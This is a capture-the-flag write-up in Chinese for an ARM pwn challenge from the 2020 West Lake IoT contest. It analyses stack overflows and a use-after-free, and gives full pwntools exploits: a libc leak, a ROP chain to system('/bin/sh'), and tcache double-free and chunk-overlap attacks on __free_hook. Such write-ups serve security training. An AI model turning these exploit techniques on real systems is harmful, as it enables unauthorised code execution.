西湖论剑 IoT闯关赛 2020 pwn3 —— ezarmpwn

 

前言

打了安恒举办的西湖论剑比赛,题目都是跑在一个开发板上的,通过数据线连接开发板的otg接口能访问题目环境。pwn题目一共有三道,其中有一道题目因为逻辑上的问题导致能比较简单的获得flag,另外一道题目是boa服务器在处理http认证过程中,发生栈溢出。我们这里分析的是这次比赛的第三道pwn题ezarmpwn。

 

题目分析

通过file和checksec能够知道程序为32位的arm小端程序,开启NX保护,没有PIE和canary保护。

主办方给出的libc为2.30,把libc解压的文件夹和题目放在同一个目录,使用qemu-arm -L ./ ./pwn3执行程序,能看到首先要求输入用户名和密码,之后进入到菜单选项。

play选项有两个子功能,add和delete,能分配chunk和释放chunk;私人信息是输出用户名和密码的内容;修改密码输入字符串修改原始的密码;选项4会退出程序,从功能上看是一道典型的libc菜单题。

 

漏洞分析

这道题的漏洞非常多,有一些漏洞很有干扰性。首先用户名和密码都是固定长度的buffer,大小如下:

栈溢出1

密码和用户名被带进注册函数中,这里输入的用户名直接通过scanf进入src没有任何限制,直接溢出。

off by null

在栈溢出下方有一个off by null的漏洞,如果我们在输入的密码中没有\n就会持续移动指针,最后在有\n的地方赋值为0,不过这个漏洞太难利用非常鸡肋。

UAF

在play的选项中的结构为下方所示:

struct {
    int size;
    char* content;
}

最后在delete操作中没有对指针置空,存在UAF漏洞。

栈溢出2

我们知道密码的buffer长度为40,这里strncpy直接复制了0x48(72)长度的字符串,直接溢出。

以上就是能够观察到的漏洞了,虽然我们有两个非常有用的栈溢出漏洞,但是我们需要泄露出libc地址,才能继续完成利用,不管是进行ROP还是利用UAF向__free_hook写地址都是需要libc地址的,所以拿到libc地址成为了我们的首要目标。

 

漏洞利用

最开始,我的想法是直接利用第一个栈溢出漏洞进行ROP,也找到了一些gadget,最后发现此路不通,程序本身的gadget十分少再加上程序的函数got地址都带有0x20,这个字符在scanf的时候回产生截断,导致rop失败。所以没有办法像x86那样用puts等泄露函数输出函数地址来计算得到libc地址。

那么另外一个栈溢出漏洞又如何呢?分析之后发现只能控制PC,没有足够的溢出长度来完成ROP。于是在比赛的时候,我就陷入了绝望,有没有什么方法可以获取到libc呢?在参考了pzhxbz师傅的exp之后恍然大悟,原来可以在栈上找libc地址通过strncpy连带着拷贝到password的buffer中,随后利用输出信息功能泄露字符串获得libc地址。看来以后在出现了输出功能的地方都要留个心眼,看看能不能有方法输出栈上的libc地址信息。

leak libc

在read到临时buffer栈空间中,可以看到有libc相关的函数地址,所以只要我们填充40字节的数据,在执行strncpy的时候就会连带着这个地址一起进入paasword中。

查看完成strncpy之后的的password,可以看到已经把后面的libc地址一起连带复制进buffer中。

我们调用输出信息的功能就可以看到泄露出的libc地址。

减去libc的基地址成功获得相对于libc的偏移。

change('a'*40)
info()
io.recvuntil('a'*40)
libc_addr = u32(io.recv(4)) - 0x32248
print('libc_addr: ' + hex(libc_addr))

control pc and rop

有了libc地址之后,这下就非常容易了,利用第二个栈溢出漏洞控制PC到最开始的地方触发第一个栈溢出漏洞完成rop。这里rop的思路是利用libc地址得到system和/bin/sh,使用gadget执行system函数。

#.text:000A1A5C                 MOV     R0, R4
#0x00010784 : pop {r4, pc}
change(b'a'*64 + p32(0x10e70))
io.sendlineafter('choice > ', '4')
payload = b'c' * 0x1c + p32(0x10784) + p32(bin_sh) + p32(libc_addr + 0xa1a5c) + p32(system)

这里还需要注意的一点是,我们溢出的部分覆盖了password的buffer,因此在输入密码的时候必须控制输入的内容,让字符串复制之后的rop chain依旧可以运行。在libc中找到如下的gadget:

虽然最后一个字节有差异但指令却是相同的,这样我们输入空密码最终在字符串复制时也只会复制一个空字节,对我们的rop chain将不会有任何影响。

我在测试的时候有很多坏字符的干扰,比如0x0a0x20,比较难受的是system函数的地址中恰好带有0x20所以整个exp在本地是没有办法复现的,只能在开发板上能成功。

UAF

在完成泄露libc地址之后,也可以不使用上面的栈溢出攻击方法,转而利用uaf漏洞完成堆利用的攻击。这里有两个利用思路,一个是很容易想到的double free,另外一个是构造出chunk overlap。

因为有tcache,要构造double free需要先把tcache填满,然后使用之前free一个再free另外一个最后再次free第一次free的chunk。

for i in range(10):
    add(i,0x30,'/bin/sh\x00')

for i in range(7):
    dele(i)

dele(7)
dele(8)
dele(7)

在有tcache的情况下会优先分配tcache中的chunk,所以再把tcache链表中的7个chunk全部分配,在这之后申请的第一个chunk修改它的指针让其指向我们想写入的地址__free_hook,再分配三次,第三次写入system地址到__free_hook中,最后随便free一个内容为/bin/sh\x00的chunk即可getshell。

for i in range(7):
    add(20+i,0x30,'/bin/sh\x00')

add(30,0x30,p32(libc+e.symbols['__free_hook']))
print(hex(libc+e.symbols['__free_hook']))
add(31,0x30,'test')
add(32,0x30,'test')
add(34,0x30,p32(libc+e.symbols['system']))
add(11,10,'/bin/sh\x00')

dele(11)

另外一个思路是构造出chunk overlap,申请两个较大的chunk,释放之后申请一个更大的chunk,使得之前较小的两个chunk合并,这样新申请的大chunk能够修改到其中一个小chunk的header。把header改成tcache的范围,free这个chunk,让它进入tcache中,这个时候重复释放和分配大chunk就能修改tcache的指针,剩下来的操作和上面的相同。

for i in range(9):
   add(i,0x40,"aaaa\n")
add(15,6,"a\n") #0x10
add(14,6,"a\n") #0x10
delete(15) 
delete(14) #tcache[0x10]=14->15
for i in range(9):
   delete(8-i) #unsorted bin 0->1 
free_hook = libc + 0x1479cc
system    = libc + 0x3a028
add(9,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(0)*3+p32(0x39)+"\n") #overchunk
delete(1) #tcache[0x10] = 1->14->15
delete(9)  
add(10,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(free_hook)*3+p32(0x39)+p32(libc+0x1479cc)+"\n")
add(11,8,"/bin/sh\x00")
add(12,8,p32(libc+0x3a028)+"\n")
# print hex(libc+0x1479cc)
delete(11)
p.interactive()

 

最终exp

这是栈溢出的exp

from pwn import *

elf = ELF('./pwn3')
libc = ELF('./lib/libc-2.30.so')
context.arch= 'arm'

if args['D']:
    context.log_level = 'debug'

if args['R']:
    io = remote('')
else:
    io = process(['qemu-arm', '-g', '1234', '-L', './', './pwn3'])


def add(my_id, size, content):
    io.sendlineafter('choice > ', '1')
    io.sendlineafter('choice > ', '1')
    io.sendlineafter('index: ', str(my_id))
    io.sendlineafter('size: ', str(size))
    io.sendafter('content: ', content)


def delete(my_id):
    io.sendlineafter('choice > ', '1')
    io.sendlineafter('choice > ', '2')
    io.sendlineafter('index: ', str(my_id))


def info():
    io.sendlineafter('choice > ', '2')


def change(content):
    io.sendlineafter('choice > ', '3')
    io.sendafter('Please Input new password:', content)
    io.sendlineafter('continue', '')

pause()

io.sendlineafter('Please registered account \nInput your username:', 'xxxx')
io.sendlineafter('Please input password:', '2333')
io.sendlineafter('Please input password again:', '2333')
io.sendlineafter('continue ...', '')

'''
0x10f58 mov r0, r7; blx r3;
0x10a90 mov r0, r3; pop {fp, pc};
0x105c8 : pop {r3, pc}
0x10784 : pop {r4, pc}
'''
pause()
change('a'*40)
info()

io.recvuntil('a'*40)
libc_addr = u32(io.recv(4)) - 0x32248
print('libc_addr: ' + hex(libc_addr))

change(b'a'*64 + p32(0x10e70))

io.sendlineafter('choice > ', '4')

bin_sh = libc_addr + 1212228
system = libc_addr + 237608
payload = b'c' * 0x1c + p32(0x10784) + p32(bin_sh) + p32(libc_addr + 0xa1a5c) + p32(system)

io.sendlineafter('username:', payload)
io.sendlineafter('password:', '')
pause()
io.sendlineafter('again:', '')

io.sendlineafter('continue', '')

io.interactive()

这是利用uaf的两个exp,第一个为double free,第二个为chunk overlap。

from pwn import *

#context.log_level='debug'
#p=process(["qemu-arm","-L","/usr/arm-linux-gnueabihf","./pwn3"])
#p=process(["qemu-arm","-L","../","pwn3"])
e=ELF('../lib/libc-2.30.so')
#p=process(["qemu-arm","-g",'1234',"-L","../","./pwn3"])
p=remote("20.20.11.14",9999)

p.sendlineafter('username:','yzloser')
p.sendlineafter('password:','yzloser')
p.sendlineafter('again:','yzloser')
p.sendlineafter('continue','')
p.sendlineafter('choice','3')
p.sendlineafter('password:','A'*0x27)
p.sendlineafter('continue','')
p.sendlineafter('choice','2')
p.recvuntil(b'A'*0x27+b'\n')

libc=u32(p.recv(4))-205384

def add(idx,siz,s):
    p.sendlineafter('choice','1')
    p.sendlineafter('choice','1')
    p.sendlineafter('index',str(idx))
    p.sendlineafter('size',str(siz))
    p.sendlineafter('content',s)


def dele(idx):
    p.sendlineafter('choice','1')
    p.sendlineafter('choice','2')
    p.sendlineafter('index',str(idx))


print(hex(libc))

for i in range(10):
    add(i,0x30,'/bin/sh\x00')


for i in range(7):
    dele(i)
# double free
dele(7)
dele(8)
dele(7)

for i in range(7):
    add(20+i,0x30,'/bin/sh\x00')


add(30,0x30,p32(libc+e.symbols['__free_hook']))
print(hex(libc+e.symbols['__free_hook']))
add(31,0x30,'test')
add(32,0x30,'test')
add(34,0x30,p32(libc+e.symbols['system']))
add(11,10,'/bin/sh\x00')

dele(11)

p.interactive()
from pwn import *


context.log_level="debug"
def info():
   p.sendlineafter("> ","2")


def play():
   p.sendlineafter("> ","1")


def add(index,size,note):
   play()
   p.sendlineafter("> ","1")
   p.sendafter(": ",str(index))
   p.sendlineafter(": ",str(size))
   p.sendafter(": ",note)


def delete(index):
   play()
   p.sendlineafter("> ","2")
   p.sendlineafter(": ",str(index))

p=process(["qemu-arm","-g","1234","-L",".","./pwn3"])
#p = remote("20.20.11.14", 9999)


un="aaaaa"
pd1="bbbbb"
pd2="bbbbb"
p.sendlineafter(":",un)
p.sendlineafter(":",pd1)
p.sendlineafter(":",pd2)
p.sendline("")


p.sendlineafter("> ","3")
p.sendlineafter(":","a"*0x20)
p.sendline("")


info()
p.recvuntil(": ")
libc=u32(p.recv(4))+0xff69cba0-0x044ba0-0xff68a248
# print hex(libc)


for i in range(9):
   add(i,0x40,"aaaa\n")
add(15,6,"a\n") #0x10
add(14,6,"a\n") #0x10
delete(15) 
delete(14) #tcache[0x10]=14->15
for i in range(9):
   delete(8-i) #unsorted bin=0->1 
free_hook = libc + 0x1479cc
system    = libc + 0x3a028
add(9,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(0)*3+p32(0x39)+"\n") #overchunk
delete(1) #tcache[0x10] = 1->14->15
delete(9)  
add(10,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(free_hook)*3+p32(0x39)+p32(libc+0x1479cc)+"\n")
add(11,8,"/bin/sh\x00")
add(12,8,p32(libc+0x3a028)+"\n")
# print hex(libc+0x1479cc)
delete(11)
p.interactive()
#0x14675c -- main_arena

 

总结

这道arm的题目赛后发现也不难,关键还是在比赛的时候没有能够熟练的分析。在堆分析中有一个很重要的一点,在用gdb插件调试的时候,加载没有调试符号的libc无法使用bins,chunks等命令。这时,只能自己手动在内存中查找这些数据,比如tcache的管理结构是在heap最开始的地方,而bins则在main_arena上。

 

引用

https://mp.weixin.qq.com/s/x19DiiitMeAm5VAupqzfdg

(完)